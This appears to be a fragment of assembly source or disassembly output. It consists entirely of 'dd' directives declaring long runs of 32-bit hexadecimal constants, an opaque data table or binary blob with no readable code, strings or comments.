		dd 0FB76532Fh, 9802ECF7h, 7FBCDF4h, 2C3BB005h, 0C7E20958h
		dd 9A4B5358h, 5177060h,	75EF90AEh, 0F6B25C8Ch, 3D1E1BB2h
		dd 10DA1A21h, 1C455069h, 94ACCE3Dh, 470F4C3h, 0C0309032h
		dd 0A26C0C0Ch, 95AEA8Dh, 2B362077h, 0BF6FC8F8h,	9B67CC40h
		dd 80386E88h, 10E545C6h, 227A9C3Eh, 52A6BB46h, 3415EC7Dh
		dd 748B572Ch, 0D913ED8Dh, 5F23F4BDh, 81A57C4Eh,	0C785AF01h
		dd 0B8788838h, 0DAEC1D6Bh, 58880AFCh, 0EF989F2Fh, 930F21E3h
		dd 0E0E0C77Fh, 0AD6F9A43h, 0AFE2593Dh, 8FE20F4Ah, 0D2F009DDh
		dd 2A827ED1h, 0CE619CBDh, 0B0DF5A67h, 0E78F55ABh, 0BC9FC519h
		dd 0F270DAA6h, 47E24BB5h, 589D0B2Dh, 0DD08EA09h, 0B039554Dh
		dd 557FCCF1h, 26E50091h, 2630A22h, 0D80746D7h, 0FE1B0755h
		dd 0C536AACEh, 341A90F4h, 0A770E22Bh, 0CDCC8BF6h, 5DB27AFh
		dd 0EF2DE832h, 2754EFDDh, 95374819h, 413FEC9Eh,	881DAF98h
		dd 0F70287B8h, 15ACB286h, 74D451BFh, 6535D46Ah,	8104FFD6h
		dd 7313D303h, 7F3C0E23h, 29953ADCh, 8F0339FCh, 4FF90348h
		dd 0ED1F3C84h, 0A2AEE1CCh, 358925E3h, 3691ABC2h, 66F3C9E0h
		dd 69B329C4h, 634CA6DCh, 299CAD41h, 0DD253106h,	239DBD45h
		dd 91262D12h, 739DD765h, 0C1BC5420h, 0FD3AD17Fh, 9994B987h
		dd 8FFDA3A7h, 0A5A9BF1Ah, 0EFA9338h, 67547859h,	0A7433666h
		dd 7F00341Bh, 7AE60426h, 62A2216Bh, 694231DBh, 20CFE813h
		dd 634E1CCCh, 0C0A8F27Ah, 3DC1FA68h, 1F22BCE6h,	0DE341E17h
		dd 76058376h, 0C4D0CD3Bh, 451013D7h, 0AE423FAh,	0E35AC4FEh
		dd 74E03E78h, 90F72254h, 0F68E6396h, 82F99046h,	16582F65h
		dd 0A7EB048Eh, 157B9F6h, 0AFB97B96h, 7E7347A5h,	8565E5FEh
		dd 0B3F440A4h, 4FC0AFCDh, 0C4F32DB3h, 5E2E117Dh, 0CCD205D0h
		dd 87EB6C7h, 0F8493F1h,	715D2E03h, 2439E9Fh, 0ED72C2E1h
		dd 0DA8CF042h, 5C398FF9h, 7AFBBE34h, 20621056h,	710C21ABh
		dd 262E0D72h, 7C63175Fh, 0C1D8CB77h, 34412D44h,	8554E09Ah
		dd 820B713Fh, 0D3A5FA4Ah, 0DB1FC3D6h, 2B4AB454h, 0BC7695D3h
		dd 2E732BBDh, 0E8D86252h, 0A54AA3BEh, 0D66A282Bh, 68863238h
		dd 0C3D6356Eh, 0B91A683Eh, 657CB7F2h, 682E555Ah, 0F3AA374Ch
		dd 0F5D4EB6Dh, 4935E993h, 284E554Fh, 64063596h,	0B3257769h
		dd 2586BC70h, 0F192A5AAh, 917CD9E5h, 59876AF8h,	3A879067h
		dd 7843D1CFh, 0EB7BE39Dh, 0C49AA5C1h, 0DF1D84E8h, 0F07F7BB1h
		dd 94942172h, 0C3589E98h, 0E70A7999h, 9D9980h, 0DC31FBCh
		dd 9DFABBBDh, 8823182Ch, 7ECF7A32h, 11C965D4h, 1184EA8Ch
		dd 0A68DC0C0h, 9464BFD9h, 207E026h, 16CD924Ch, 0F09BA914h
		dd 0FD0436F7h, 3E84B35Dh, 0BF197FFEh, 0E5F8BA65h, 276ABC76h
		dd 0BF86DB0Bh, 54330812h, 0BBFD386Eh, 9C58D793h, 0CE6BB1F4h
		dd 4FF8EDEDh, 0B2968DD3h, 0EDC91C08h, 3B4AEB4Dh, 0D2B2EEF1h
		dd 2922E036h, 0BEFD1B1Dh, 983C8B2Ah, 0A2B702B0h, 0FC1AA60Fh
		dd 3EE1CA63h, 1B6703D8h, 0B5827251h, 0A114E0CCh, 0AEEEB1B5h
		dd 0A28FF0B5h, 0C0CE81FBh, 0ADA0E6AFh, 0C06BA769h, 0ADAEB206h
		dd 0F99EA99Eh, 175C722Dh, 4F7519FDh, 0B63D14AFh, 39342182h
		dd 715923BCh, 20249A94h, 0EAEFF5C4h, 0F0605DD5h, 30E24B92h
		dd 83E6A138h, 2F80E68Ah, 338991EFh, 5EF8089h, 611AED13h
		dd 653FD8D4h, 1DFF192h,	0E3BA8040h, 716478DEh, 34FED720h
		dd 0C5D1E1B5h, 47247F64h, 93C99E69h, 5A557C8Eh,	0BACEF791h
		dd 511381ABh, 4D12ABE2h, 0CC700C91h, 45E34665h,	946F5555h
		dd 0CD34365Ch, 0A685F52Eh, 14483694h, 1BA175EBh, 0B6A888FDh
		dd 6B1F99DCh, 0F363A5F5h, 42865A1Dh, 66EB1F13h,	0CBA6AF82h
		dd 0C53E5A2Ch, 0DB68B2EBh, 9E2F21F5h, 0FA52B5FAh, 4B4A9FEh
		dd 0AB394CD8h, 200712D3h, 19E4420Eh, 8BB174D0h,	156767Eh
		dd 5088255Eh, 47FDDE04h, 0C001C449h, 0B08ACADCh, 71A49787h
		dd 5943B601h, 0C718125Ch, 1EC40B68h, 69BEEF29h,	627B3280h
		dd 0D3C896DAh, 648523DDh, 425D7B5Ah, 0DB184B83h, 6AFB6FCFh
		dd 0D720094Ah, 9E0935C8h, 0A66A2508h, 0AF75D4Ch, 0FD8CDEA3h
		dd 619E7BACh, 3E49AB8Fh, 976E972Bh, 49A7E2CDh, 0A3B1902h
		dd 0DEDB56D8h, 0CBEA9352h, 714C7BB0h, 14E2833h,	93098BEFh
		dd 994B39F2h, 446E9294h
		dd 9431DD1Bh, 0BABF91FBh, 0B0DF275Ah, 5B0CED6Bh, 0AE3AC0Ah
		dd 0B104AC7Ch, 0BAB9B14Ch, 546C35CDh, 0D970725Fh, 7BA75FCAh
		dd 0F558AE9h, 0AEB90DD1h, 68C5F782h, 6A15BF40h,	0E93111BAh
		dd 5BFFF424h, 4842395Dh, 5EF9BDC2h, 8B5DF243h, 5252DB09h
		dd 0EF599267h, 78949D8h, 0B540B42Eh, 17A80C47h,	97F2D515h
		dd 2AAAC40Dh, 5435ED7Eh, 95696B39h, 0BDAE4200h,	157ECD2Eh
		dd 421317C6h, 6C2EEA54h, 2561F03Ah, 3852597Dh, 56574A45h
		dd 0C435CB93h, 7DD6776Bh, 30F41E30h, 0C054AE45h, 71D86D27h
		dd 66DAD110h, 73C5126Ah, 1989F4A5h, 1BF8A693h, 2FBF6CDBh
		dd 0A4FBC128h, 4BBFF5C4h, 0BE9EF11Fh, 6EA7EBEEh, 0C28E437Dh
		dd 79004315h, 0F9416E3Bh, 107527B9h, 0F474D98Eh, 597D885Ch
		dd 0EB984570h, 0E233FA2Bh, 0C211BC4Eh, 0AFE13ED3h, 857E95C5h
		dd 8E069F71h, 1085BADCh, 636249CBh, 49F778Ah, 0C378FEF6h
		dd 0BA16F936h, 99F88829h, 0B4EBA4EAh, 0B2F77835h, 0FAF2DFCEh
		dd 0C818D2DCh, 2B44135Ah, 0BCCB2315h, 7EF95828h, 834DC1ACh
		dd 0B3303EABh, 0F44E7505h, 0C744A934h, 401CD46h, 55A7A3F6h
		dd 0A4BE3A5Ch, 2D2BEE75h, 22F4CB24h, 3E0D12DBh,	28BE76FDh
		dd 7D7121A4h, 0AD994960h, 0FE7E6A17h, 3CD398A4h, 0C6CF4607h
		dd 81F9E8E9h, 97132996h, 0D99DDABAh, 3C0AF216h,	63C115BEh
		dd 0FC73EF53h, 0C6E772FBh, 68016826h, 6A19EE71h, 0D456F94Fh
		dd 0E3F7DA2h, 0F7482844h, 35F2208Fh, 0B70E0354h, 9B475155h
		dd 4F72DBC4h, 258BF05Dh, 97ECCEC8h, 297BDD99h, 8EBDC2F9h
		dd 52B31298h, 7C29D8CCh, 0FC2D1BB2h, 76A4C9DFh,	11ABD12Eh
		dd 2B196EBEh, 0D1623A48h, 0A912A5BCh, 57C5EF33h, 0D1665B43h
		dd 7B03C3AEh, 4A9B12FBh, 7B851DF1h, 2589BBA1h, 689D865Fh
		dd 0BB623F34h, 0EE2B5657h, 0D35CEEAh, 0D08E91EDh, 642984C9h
		dd 54EFC4DFh, 0A8B798FEh, 0BFBC04F2h, 75BBB01Bh, 0AA2A36FFh
		dd 855A64B4h, 0ED16144Ah, 0FAD1612h, 71D6940h, 92F5221Bh
		dd 69CDEFB8h, 42B29001h, 6724EF43h, 948D2E92h, 3B2BAE7Bh
		dd 0EFB0D6E4h, 41430507h, 8961FB2h, 37124FAAh, 662A979Eh
		dd 8857F837h, 9CBF2BF0h, 3C723A08h, 0E928AC1Dh,	0EA01FB50h
		dd 72163191h, 74379572h, 0E68272Ah, 0C93BB8EEh,	536443D3h
		dd 0B03B125Ah, 0B07C1EC0h, 526F1609h, 7F282189h, 704BBC67h
		dd 26ABDECDh, 0C7689B2h, 0A1105F97h, 0A1C77407h, 0FE56031Bh
		dd 0A9B8712Fh, 40C56A75h, 0B632665Ch, 38B21B56h, 0EA4F1E2Bh
		dd 3825A49h, 16CBDF4Ah,	20D31535h, 0EEAE37CEh, 1B686255h
		dd 0A694F612h, 0F3D559FAh, 34FCE48Fh, 0FD8105B3h, 24F937FCh
		dd 0AC43701Ah, 0BC970975h, 0F0DFF0CFh, 0F9CFDB7Bh, 9532921Fh
		dd 0D7951F6Ah, 0F4CED13Fh, 0E399F924h, 3342DFF6h, 13EA1EDCh
		dd 74B14F1Dh, 496700CFh, 0BA6427C3h, 0F1675F79h, 0D7408F8Ah
		dd 1D7B0C5Eh, 844D8E4Dh, 0F451A337h, 0F0A8E08Fh, 1A517CA7h
		dd 0A93799ECh, 9F14C1F9h, 85D6CE08h, 0F2E6D88Fh, 0B6A15EA2h
		dd 8BD849ABh, 0BB4F1085h, 0A85B3480h, 59D6D79Ah, 59BDA588h
		dd 3B79379Bh, 4A71EC41h, 22B5D8CCh, 0DACB5DE4h,	2101776h
		dd 0AEA1173Dh, 6CB4EE75h, 6D462BD2h, 934A6233h,	6725475Dh
		dd 3C270A68h, 6056E3F2h, 32454924h, 6EC6CA95h, 0FED0447Eh
		dd 0D34D8DD1h, 69E1367Dh, 0AB6AEA6Eh, 0DDC8F0DDh, 3EB50F51h
		dd 0ABC93437h, 0E9A60961h, 856F954Fh, 0FFB7FDD9h, 0DE5C8C58h
		dd 301977A0h, 9FE814A9h, 3A1BDF9Eh, 0D7F3044Fh,	0A46728EFh
		dd 0FEC9A0FBh, 0DF7924Fh, 0D8808F82h, 0BF353FB4h, 8233F0B9h
		dd 0C73C21A7h, 5A5E1E36h, 8BBB835Bh, 0D91BDB71h, 793C9E13h
		dd 0A124AEA9h, 0DE889621h, 58419CEBh, 54FE9800h, 4922D769h
		dd 24BE413Eh, 6DED95E4h, 7C6F769Fh, 0A149116Bh,	1B247A57h
		dd 389BDD04h, 6B74DC06h, 43E5A4C5h, 0AAAFC892h,	4C69F1F0h
		dd 45CDAB87h, 0BAAC5CA6h, 0A24F0E43h, 1079A4C2h, 8A892AA8h
		dd 748A63D4h, 7D8B57C9h, 0AC198981h, 0E29ECCF2h, 7AE3AC7Bh
		dd 67BE4B46h, 0F4972576h, 7908DD52h, 0DEF783BDh, 14CC5D98h
		dd 0EB34E272h, 0E4BBCDCCh, 82A1832h, 0A7A31700h, 997E167h
		dd 0A12ACD9h, 0F111A247h, 99086B8Ch, 4A5DFBF4h,	0A2746CCDh
		dd 36EB02A4h, 59FD641Ch, 90CAFBFDh, 0F140F913h,	2BEA68F9h
		dd 638F3125h, 3A4009Ch,	63F8F0D3h, 0F8B70422h, 72FCD139h
		dd 0FC9590D1h, 2BC129ADh, 0DC25EA5Ch, 51052C65h, 306E50F9h
		dd 0DAEAFF18h, 1225AD60h, 0CFFE68C0h, 6EC1592Bh, 1B664E6Bh
		dd 0D1F39E0Bh, 178A1FCCh, 8AE6F131h, 69F54F5Eh,	80D33240h
		dd 0A057483Ah, 23F8043Ah, 35ED158Fh, 728CFB6Dh,	0AE971CD4h
		dd 0C0F4D340h, 0A6CA5BF0h, 0D51F7D45h, 8BB65179h, 0E5057C36h
		dd 9E728CB8h, 5ED7A097h, 8DC5A93h, 0EEE902D8h, 29C618BEh
		dd 11EB4E2Dh, 9C9526D1h, 36D4256Fh, 2DCCE20Fh, 70290E43h
		dd 87650E2Bh, 9B5C99FAh, 84AD997Ch, 94FFD8EAh, 6C5ADC59h
		dd 0BB9FCB26h, 1BCC6BAEh, 8DC2B4B7h, 551F7CAFh,	141EBD23h
		dd 5E3C5849h, 0BC38BC36h, 6B9D14A9h, 32162738h,	16FCA48Ah
		dd 0F4445ABDh, 3BD5CCC2h, 0BAD15Fh, 0BC433DEAh,	28A02A85h
		dd 0FB72D418h, 24C655AAh, 1ED7BBFAh, 2D987E50h,	29C82F92h
		dd 141B2BF4h, 81A7B9B3h, 69FEFCB6h, 56C168D4h, 6AE925E5h
		dd 9707D2Ah, 0A9741BB6h, 0B3905696h, 8412DD1Dh,	0A4BD91FBh
		dd 0B420F654h, 0CDFF2756h, 77A92719h, 460461E6h, 424AA2E7h
		dd 64962A85h, 941CCCEDh, 0D0F22022h, 0AED9EC14h, 88B579C2h
		dd 761C3699h, 3BD41A6Bh, 0FF99AE18h, 6E2C8AEEh,	0C34E236Dh
		dd 3788999Eh, 534F8C6Dh, 652B9568h, 0D759FB18h,	6EB29B56h
		dd 58FC7DD3h, 88C6DA30h, 9541A915h, 9E18D8E3h, 8D13096Ah
		dd 401BEED1h, 0F6FA2E8Fh, 0B9B6582Eh, 9403D5FAh, 0EE8346BFh
		dd 42A51806h, 0F037FE11h, 0ED3A4C1Bh, 0BB774046h, 0B13F1E58h
		dd 0AAF5F511h, 7304888Fh, 8AD21BFDh, 95E8DE73h,	4A90930h
		dd 84209E66h, 8F5763CFh, 0A25DDB4Ah, 3C66964Ah,	994C946Dh
		dd 513D6073h, 0F11CBC1Dh, 0C4E39DD8h, 3870A635h, 0E642B3DCh
		dd 43D37079h, 0E657F5Ah, 0A392CB5Fh, 132F7E1Ah,	0BC5D2CA4h
		dd 876BDE4h, 8AA570AAh,	0C474E2E2h, 1F42C264h, 1137EF1Dh
		dd 0A8E4659h, 996F14A9h, 2A9AC994h, 3507F231h, 2568BEBDh
		dd 93D218D8h, 0DC5896DBh, 333EC388h, 1B1D8B4Dh,	0A67BE69Bh
		dd 5F53ED23h, 59DD9886h, 5C824CC6h, 9DA4655h, 6E614572h
		dd 0EA2A56B0h, 96C82657h, 7BE4A2B7h, 6AE5A695h,	0E921777Ch
		dd 0F01F5D0h, 0B0C23950h, 6338AE11h, 0D2C15FB3h, 0D633BBB3h
		dd 0A99DD68Ah, 16F7B63Eh, 1A451773h, 0FB0F333h,	27E7DF3Ah
		dd 27C1FBE7h, 84C9196Ah, 0C91D6963h, 36EE6B9Eh,	1D877D1Ah
		dd 55C24E09h, 0B317B167h, 70BFCD3Ah, 50305AB5h,	0BAE5C7B8h
		dd 0C3B2A210h, 0C1C54009h, 72EA96B2h, 1C707352h, 0F807B0F5h
		dd 85DFE69h, 48C4D088h,	77E2645Bh, 24A6D6E6h, 38B82CB9h
		dd 0CE9376h, 8382D1D2h,	0AAF9A822h, 0F23EEC3h, 3B74B73Dh
		dd 0CFEC5F13h, 645A448Ch, 1C75ECCCh, 0A2FD3E4Ah, 0B943903Dh
		dd 58557C86h, 591F6744h, 0B39D5D83h, 92D357E8h,	0FCA34F04h
		dd 17EDC0AFh, 20FF18ABh, 0F024F63Fh, 0BF1DC194h, 485415DDh
		dd 2F278784h, 51AC5489h, 0E1419ED2h, 0AF59347Bh, 0A6BAF1B1h
		dd 443D28B7h, 85EF682Ch
		dd 8EC2F693h, 0D66C2429h, 35880592h, 4BCD32AAh,	82339795h
		dd 4A925BB2h, 0FF297806h, 0AEC4E6Eh, 814E8B0Bh,	0EB1F6302h
		dd 0D5CCAA03h, 0AD417FF6h, 0DD197A30h, 12BED69Fh, 44E1BC6h
		dd 4E73248Fh, 285E0D66h, 489C43FCh, 76E717FDh, 868E7CB6h
		dd 0BA108146h, 0B05B6A8h, 0C426FFA1h, 0BAD9B0B1h, 60E771h
		dd 0D05A92E8h, 0D0A6368h, 54CCE11h, 84D35DF4h, 9C0366D0h
		dd 21421DBAh, 0F0D12DA1h, 641CCBCBh, 72371A16h,	913423BAh
		dd 331EBE4Eh, 15FE9CEBh, 4D3AFF6Ah, 46108524h, 30300CEh
		dd 8136596Fh, 26062B7Ch, 6C4C2CF1h, 2BACA0C1h, 0CE8F81Bh
		dd 69001A4Eh, 1AD3A9D0h, 4D420CDCh, 0EAB06D42h,	7364AD39h
		dd 367C7416h, 8A0E6E8Fh, 0D1FA1F9h, 90EF1823h, 0BF7D670Fh
		dd 0ED418642h, 0BA7194DCh, 0FD7E1B36h, 51F2D251h, 0B3405CFEh
		dd 0EBE81EE3h, 0BE7817B4h, 90F53478h, 2F1440Ah,	38FBEDA0h
		dd 0C0C08388h, 0E5538031h, 4446F177h, 3B7577D4h, 0C0398515h
		dd 996270ACh, 360E0C7h,	6281989Dh, 8D448E04h, 0DF5D478Eh
		dd 2E4110A4h, 0D26B15C8h, 0DB8DF279h, 0E592D9AFh, 15A94238h
		dd 999DC098h, 7E50F2F7h, 0D94D97E4h, 0E02DFE70h, 2F4B0DCCh
		dd 6ECD742Fh, 5DFA06B7h, 3B84C369h, 0D463D1CFh,	82D15FC0h
		dd 7D9157DAh, 0F4756A21h, 3CF6BCB8h, 0A6D3891Bh, 53892D49h
		dd 513ABD04h, 5605B8AEh, 2EE68291h, 9C99D397h, 30EEB5FAh
		dd 0FEDA628Ah, 8A81A4D4h, 4FCDB046h, 23386B4Ah,	25A6034Dh
		dd 442337BCh, 13C61A4Bh, 842F4B69h, 796A7313h, 3FA30D80h
		dd 9B6EAA44h, 9CC524D4h, 0ACFD4B17h, 0B0984241h, 6ECAA8F0h
		dd 0A07A7F6Ch, 45AB7CD4h, 0B7559FF4h, 399EE1AEh, 560F990Fh
		dd 868F2B53h, 4C6A9BCDh, 0B8D9F252h, 16B9EF3h, 50A589ECh
		dd 0CBF8E518h, 4634E682h, 77F5432h, 0B7BEEF6Dh,	6FBB72A7h
		dd 0CF7A7829h, 17F4961Ah, 4DFB0E2Ch, 0DE974401h, 13E948DAh
		dd 737B822Fh, 496DF625h, 0F55CD1DEh, 9338C976h,	46A4B6Dh
		dd 0E84D3A81h, 0D3397685h, 8CFC6EE9h, 0B0F04FECh, 4F7B2AB0h
		dd 1134B94Ch, 77ACEB2h,	3E0E9853h, 0BFA55DC2h, 1E7FC99Fh
		dd 57A2EC9h, 76DD4953h,	0C52215F5h, 0D0CF4563h,	5C7E474Eh
		dd 0F74CCCC8h, 0C1D16CD0h, 69444E1Bh, 7904DCD6h, 89C39D5Dh
		dd 2C9111C1h, 0DB3C0F53h, 0B0A8D0Ah, 0E3B6BEC9h, 6752D8FFh
		dd 0D03B997Bh, 85C36CECh, 0DCBD9704h, 5DC0A789h, 0CBC55764h
		dd 41CD19A2h, 1DD06FE9h, 4B21875Fh, 942DDDA1h, 8DE040A4h
		dd 8E689585h, 0FCEEBB13h, 9C404C4Bh, 0B30BB4E5h, 49E1D227h
		dd 8D104E0h, 0A602380Eh, 828A6F09h, 120BCAB9h, 58DA63FEh
		dd 0CBFDFE20h, 7058B162h, 1148677Ch, 0FB3F1369h, 0D9A6028Fh
		dd 0F194A5CFh, 0BBF1CAC0h, 0DD10E558h, 368F42E7h, 4A142112h
		dd 0B69A45F5h, 2E022090h, 47B79CA9h, 0D62C4BA6h, 0FC041AF3h
		dd 529FD632h, 8C2A9BC1h, 0B69E1BDh, 0AA5DD68Ah,	0BC12BC7Fh
		dd 73C892CDh, 8A373h, 0B71533A0h, 6A5FAADh, 93D0CD08h
		dd 0E617F9EAh, 0BAD3A082h, 0A9E82414h, 0B6B038A7h, 0CD6BC061h
		dd 0E6CF7A36h, 36F61239h, 0D285CC44h, 0C923C3B5h, 6F1505EAh
		dd 87D40E0Eh, 42A01652h, 0BDE8A2E9h, 6F7F8552h,	0CFAAAAE0h
		dd 1DC5C2A7h, 981CBD73h, 677293D7h, 0F54E77B7h,	0B1D4AD8Ah
		dd 56F036AEh, 3D3C0C6Eh, 0D888CC21h, 0B431FC1Fh, 0B08AD44Eh
		dd 3534BF3Bh, 4E41FCDEh, 0ED10677Bh, 5B6F2B12h,	4B15035Ch
		dd 351D9060h, 0FA594710h, 95C252CAh, 0FDCC57F5h, 80EBDDDCh
		dd 9300BAD0h, 0F37AD636h, 898BD444h, 0D905EC2Ch, 221239C1h
		dd 1B26F935h, 0A8542EFDh, 0F8025409h, 0C2AD8F5Bh, 5359290h
		dd 16A90EF6h, 0C1EDE5EFh, 25722400h, 9418BE76h,	0C39B2E12h
		dd 9C38AC21h, 6C94FE65h, 0BE0562E4h, 220C3026h,	4BB517DCh
		dd 7E8DF5F4h, 0C8BF5CCAh, 0AEFDBB77h, 0C400A8C0h, 66152378h
		dd 98582FA9h, 0AF396D9h, 1AB29DD4h, 1BDDFF1Ah, 0A09AA819h
		dd 3E1A91A3h, 0D79E5F17h, 0D582B914h, 0D1DF135Dh, 16D5603Fh
		dd 8A2AD430h, 36D7F192h, 2BC63976h, 0BC8DD3D5h,	0ADBDC16Fh
		dd 7CADB933h, 5961320Ah, 34D6E8B8h, 5A52C8F1h, 0C03918E7h
		dd 0AD841BE9h, 7FD7160h, 3F107341h, 39122837h, 0F55FFAE0h
		dd 60E7162Bh, 0A04D19B7h, 0E34972A0h, 8C79FDAFh, 906D535Dh
		dd 78FF871h, 0D9675F19h, 0E9EAE824h, 0B1ACEE8h,	612CAA40h
		dd 0D01989A0h, 0B3B868F1h, 173FF23Ah, 0EA37DE2Bh, 0D872E5D2h
		dd 1D129DBFh, 697553F9h, 23C0109Fh, 47C81EB8h, 3B537615h
		dd 0C7A4FD3Fh, 11E74449h, 4270929Eh, 48E5A682h,	0D9416A91h
		dd 1EAB4589h, 854ED2ABh, 0A6D73292h, 328DB526h,	5DA59EB2h
		dd 889D22E6h, 4FCD3CD7h, 0E5C7359Eh, 49D4CCA3h,	916F3603h
		dd 0F6912658h, 34FBD9C4h, 0B310AC8Bh, 97BAF715h, 0A4EF5896h
		dd 5294C8EFh, 9BE12ED4h, 87B687A2h, 0E3D9FA9Ch,	0C171A1B7h
		dd 0BC507298h, 2A41C6D0h, 6BDBDC7h, 0AC426168h,	0D6DECE0Ch
		dd 12DEFCEDh, 4C4D7844h, 0E5E1B8EBh, 0B0EEFC5h,	47DB73C6h
		dd 12E6F700h, 0DA13426Ch, 0B934EB42h, 3A26CC94h, 0FA0BD28Eh
		dd 0A48F8178h, 47B09849h, 35043F8Ah, 0FD22ADA9h, 39842869h
		dd 0AD706971h, 0C3C88481h, 48CF1AFh, 728E4E63h,	601A1CDEh
		dd 532065DDh, 3CA111C6h, 0EB50472Bh, 0F39B4269h, 7CC974E6h
		dd 6566E9CDh, 7B1F486Fh, 0AB4ADF72h, 8897011h, 8C487D15h
		dd 0BC3CD52h, 80667A19h, 4223E461h, 985AB2B7h, 0A5B8B38Fh
		dd 0FC6A50E0h, 92BFFF73h, 91DEEDB5h, 0A71F9FB8h, 3AC7BD15h
		dd 0B61232C3h, 38DB462Ch, 2566A78Dh, 7BDB585Fh,	84118795h
		dd 820F9402h, 0A8794AE8h, 0F6469EC1h, 4FF65C07h, 9A943BE7h
		dd 5091B65Bh, 5E35010Dh, 9E27415Dh, 7FE9408Ah, 217A8DC0h
		dd 0B59DDC4Dh, 7AB03AFEh, 0FC702241h, 664B91CEh, 30C9A31h
		dd 93031AEAh, 0BFF5B9FDh, 8DA82074h, 0DB88DF6Eh, 0E46DE254h
		dd 65C4B4Fh, 9B628B18h,	280EB5E8h, 6A8CD18Bh, 4BEEC81Ah
		dd 0A5D717FCh, 1B64C899h, 3D88569Dh, 0C3AC4185h, 0ADAD23D6h
		dd 0E6922F04h, 8CF1583Ah, 5C112040h, 106E7F48h,	7B7D164Bh
		dd 0EEE3D76Ch, 515383CCh, 1537148Ah, 1043C97Fh,	3E796B77h
		dd 5D81E590h, 16B76A73h, 0D0723C37h, 3526F428h,	0FBC78CB2h
		dd 6ED373CDh, 9D025980h, 0DD15E6F1h, 3644F1DDh,	0A8857740h
		dd 2615F0CDh, 0B4DDD487h, 0E476296Dh, 30D259DCh, 7098069Eh
		dd 4FC71659h, 9728D6F3h, 1805B654h, 3F989656h, 3C9663EDh
		dd 8C618A89h, 0FA116970h, 119A22F0h, 1D412F5Ch,	0D0C3F8E7h
		dd 37DCEE2Fh, 0C7A9FEA7h, 0C4F9BFD9h, 0CBB27AC5h, 36FCE720h
		dd 79D46242h, 50A9E83Ah, 0DE4CAB0Eh, 78585231h,	0F548FA1Bh
		dd 0A8FBA7D4h, 0B092E567h, 0AD2BA2B1h, 0F6601AB2h, 40EDABE7h
		dd 232C5BB0h, 42621C82h, 352B5A71h, 8EA205FFh, 0DE680428h
		dd 0C884B03Ah, 0FF932B1Eh, 29E0D8A1h, 0A657977Dh, 0A96C5341h
		dd 0CF984695h, 5E21094Ah, 24FB864Ah, 2F22B863h,	958FC5D8h
		dd 14AD7D4h, 14CE2F79h,	65009FAFh, 0EFB96699h, 0CA35E099h
		dd 0F319FA11h, 21D27C95h, 0F655D02Eh, 0FD30DD5Fh, 87562CBDh
		dd 70DAC3B9h, 2905A023h, 5D50AA7Dh, 0FBFF331Eh,	0D30F89AFh
		dd 7D0B7B64h, 0DC3D7739h, 60F26E94h, 0A439F399h, 0C9935D5h
		dd 9E8B9D98h, 1DD60369h, 2FCCDF1Fh, 8DF046F2h, 0B982EBCFh
		dd 0B052FB57h, 6AA67C6Bh
		dd 6194288Eh, 9DA21A7Ch, 2AD0EFBEh, 39383754h, 7DCB7E20h
		dd 39F49C9Eh, 9636C1BFh, 0D980B65Bh, 2FF91CC4h,	0B267ADF1h
		dd 3768DC33h, 175EC49Fh, 4A462356h, 0E5B6C783h,	6F869E8Ch
		dd 2EE0F8E9h, 0C396FD2Eh, 26E1F733h, 0C2DBC675h, 0F7B0AAA8h
		dd 0F1879A36h, 856C0B79h, 0F2434D3Eh, 0EED7AB53h, 4C6119B5h
		dd 0F6B3CFA5h, 0BA6E4D58h, 3DD263DEh, 37192A46h, 74610FE9h
		dd 0E7630B66h, 187785E7h, 0A732DBE4h, 657B8D34h, 0E15776Dh
		dd 955C72EBh, 0FA0D36Dh, 0F42C06C0h, 3B0AA9C4h,	24A271EAh
		dd 6AD7BA32h, 0A9905F2Bh, 6FE79EEFh, 0B8ECF79Ch, 3A9A61A9h
		dd 60AF0279h, 8EED831Dh, 74FE9903h, 0A7A16140h,	8A934710h
		dd 0B2BCEBF3h, 0F5CD8764h, 0B34E9C3Eh, 0EB7E2913h, 230F7077h
		dd 40E313B7h, 24D66AD9h, 934F8C56h, 0D82FB4B9h,	0BA2BD6Dh
		dd 682D32A2h, 4CECC3CDh, 0E000BED3h, 984D7FDDh,	0EEF5FE5Fh
		dd 49CB3C06h, 0EFBB8DEh, 39467C19h, 0A1609DB3h,	0CA69725Fh
		dd 13364AA8h, 0FA06363Fh, 0A51702Dh, 0EBC17CBh,	353AC616h
		dd 5BD96AA4h, 357673ECh, 0ABA54769h, 8E21B3E7h,	14FFFB27h
		dd 0F17A70D1h, 8A408BF4h, 3CF7A825h, 9511F8A0h,	7AAFDBDCh
		dd 0ECB45E9h, 1DC825CBh, 5336C7C1h, 141FC21h, 9FB94646h
		dd 0DE09C825h, 88A9124Dh, 3FB0F074h, 22351334h,	1FBA04C5h
		dd 0E88F15CCh, 12523D04h, 0EE3FDB90h, 571F91F8h, 0DA8BE7BDh
		dd 84AEA3EDh, 0C2344EF8h, 7CA8CA78h, 0A15D457Bh, 837E3DB0h
		dd 0EBCBD604h, 0E17A6AE0h, 0CD1E0305h, 876D893Ah, 0C545E5Fh
		dd 842E60BCh, 3A3F991Dh, 0BFE27950h, 417F3C9Ch,	638CBE5Ah
		dd 8F87D377h, 4BD19A5Ch, 22D98A10h, 217F1A47h, 4E833618h
		dd 155B2155h, 0F04A4CF0h, 90716B54h, 23EDB487h,	0D7F86002h
		dd 319733E3h, 0D2E05681h, 0DF1730AAh, 24CA8DDBh, 0FA5AED5Ah
		dd 0D4EFB12Eh, 0A91A0E71h, 684D045Eh, 4B98B20Fh, 3C652798h
		dd 0D927FF20h, 2B035574h, 0E511DB1Eh, 95545A45h, 96294BC4h
		dd 0B64FD61Ah, 0F913951h, 4AD4F244h, 94FCB040h,	41C1731Dh
		dd 665F7D86h, 2385C10Bh, 0C085C701h, 79830FFFh,	0E55FD28Fh
		dd 0BA46F7C5h, 0EE5065B3h, 45997D91h, 0A0E5F23Dh, 9CD1CB54h
		dd 9E2C36Ch, 41E2F08Ch,	3EE643A4h, 0D0B7EB8Eh, 0B90E3015h
		dd 1BAD0D9Fh, 6483D009h, 0B7AE02BFh, 0FC94179Bh, 0C068AE9Ah
		dd 95C69482h, 0D46CF6A2h, 0DEFA0877h, 0CD235B65h, 0CEEA5466h
		dd 79C36CA2h, 3A1DA2ACh, 0BDAE459Fh, 7FA61894h,	0CCBD4226h
		dd 6A0A8F72h, 0BC8D7B2h, 0B9CE05C7h, 1885B226h,	0E1808914h
		dd 52A7512Fh, 6AEF8734h, 8E460359h, 8253F673h, 0D4804984h
		dd 64F20F2Ah, 0BFFDD68Bh, 0F1ED5F16h, 0C6AF9148h, 0FA5B52Ch
		dd 32CCD83Eh, 0C79E3EF9h, 0E37E17Eh, 0F984D0D3h, 8BFCC4A3h
